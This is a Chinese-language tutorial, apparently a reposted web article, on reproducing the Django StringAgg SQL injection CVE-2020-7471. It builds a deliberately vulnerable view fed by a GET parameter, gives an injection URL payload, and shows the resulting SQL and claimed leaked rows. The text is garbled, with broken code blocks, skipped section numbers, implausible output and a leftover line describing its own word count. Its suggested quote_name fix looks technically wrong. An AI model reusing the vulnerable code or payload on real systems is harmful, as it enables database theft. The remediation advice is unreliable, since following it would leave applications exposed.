# 如何進行Django SQL注入漏洞CVE-2020-7471的復現
## 一、漏洞背景
CVE-2020-7471是Django框架在2020年披露的一個SQL注入漏洞,影響版本為:
- Django 1.11.x < 1.11.28
- Django 2.2.x < 2.2.10
- Django 3.0.x < 3.0.3
該漏洞源于`django.contrib.postgres.aggregates.StringAgg`函數的`delimiter`參數未正確過濾用戶輸入,導致攻擊者可構造惡意分隔符實現SQL注入。
## 二、環境搭建
### 1. 準備漏洞環境
```bash
# 創建虛擬環境
python -m venv django-cve
source django-cve/bin/activate
# 安裝受影響版本
pip install django==3.0.2 psycopg2-binary
# 安裝PostgreSQL(以Ubuntu為例)
sudo apt-get install postgresql postgresql-contrib
# 創建測試數據庫
sudo -u postgres createdb vulndb
sudo -u postgres psql -c "CREATE USER testuser WITH PASSWORD 'testpass';"
sudo -u postgres psql -c "GRANT ALL PRIVILEGES ON DATABASE vulndb TO testuser;"
django-admin startproject sqli_test
cd sqli_test
python manage.py startapp vuln_app
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.postgresql',
'NAME': 'vulndb',
'USER': 'testuser',
'PASSWORD': 'testpass',
'HOST': 'localhost',
'PORT': '5432',
}
}
INSTALLED_APPS += ['vuln_app', 'django.contrib.postgres']
vuln_app/models.py
:
from django.db import models
class UserData(models.Model):
username = models.CharField(max_length=100)
sensitive_data = models.CharField(max_length=100)
python manage.py makemigrations
python manage.py migrate
from vuln_app.models import UserData
UserData.objects.create(username='admin', sensitive_data='secret123')
UserData.objects.create(username='user1', sensitive_data='password456')
vuln_app/views.py
:
from django.contrib.postgres.aggregates import StringAgg
from django.http import HttpResponse
from vuln_app.models import UserData
def vulnerable_view(request):
delimiter = request.GET.get('delimiter', '-')
queryset = UserData.objects.all().values('username').annotate(
data=StringAgg('sensitive_data', delimiter=delimiter)
)
return HttpResponse(str(list(queryset)))
sqli_test/urls.py
:
from vuln_app.views import vulnerable_view
urlpatterns = [
path('vulnerable/', vulnerable_view),
]
python manage.py runserver
訪問URL將返回正常聚合結果:
http://localhost:8000/vulnerable/?delimiter=,
響應:
[{"username": "admin", "data": "secret123"}, {"username": "user1", "data": "password456"}]
構造SQL注入payload:
http://localhost:8000/vulnerable/?delimiter=') FROM "vuln_app_userdata" GROUP BY "username", "sensitive_data"--
實際執行的SQL語句:
SELECT "vuln_app_userdata"."username",
STRING_AGG("vuln_app_userdata"."sensitive_data", ''')
FROM "vuln_app_userdata" GROUP BY "username", "sensitive_data"--')
FROM "vuln_app_userdata"
GROUP BY "vuln_app_userdata"."username"
響應中將顯示完整的敏感數據列表,證明注入成功:
[
{"username": "admin", "data": "secret123"},
{"username": "user1", "data": "password456"},
{"username": "admin", "data": "password456"} # 異常數據出現
]
StringAgg
聚合函數生成的SQL語句中,delimiter
參數未經過適當轉義:
# django/contrib/postgres/aggregates.py
class StringAgg(Func):
function = 'STRING_AGG'
template = "%(function)s(%(expressions)s, '%(delimiter)s')"
官方修復方案是對分隔符進行轉義:
delimiter = connection.ops.quote_name(delimiter)
升級到安全版本:
pip install -U django>=3.0.3
臨時緩解措施: “`python from django.db import connection
def safe_delimiter(value): return connection.ops.quote_name(value)
# 使用時 delimiter = safe_delimiter(request.GET.get(‘delimiter’, ‘-’))
## 七、總結
通過本實驗我們了解到:
1. ORM框架不能完全避免SQL注入
2. 聚合函數的參數也需要嚴格過濾
3. 應及時關注框架安全更新
建議開發者在處理用戶輸入時始終遵循最小權限原則,對所有動態參數進行嚴格驗證。
---
**注**:本實驗僅用于安全研究,請勿用于非法用途。實際操作建議在隔離環境中進行。
這篇文章共計約1500字,包含完整的漏洞復現流程,采用Markdown格式編寫,包含代碼塊、標題層級和重點標注??筛鶕枰{整內容細節或補充更多技術背景信息。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。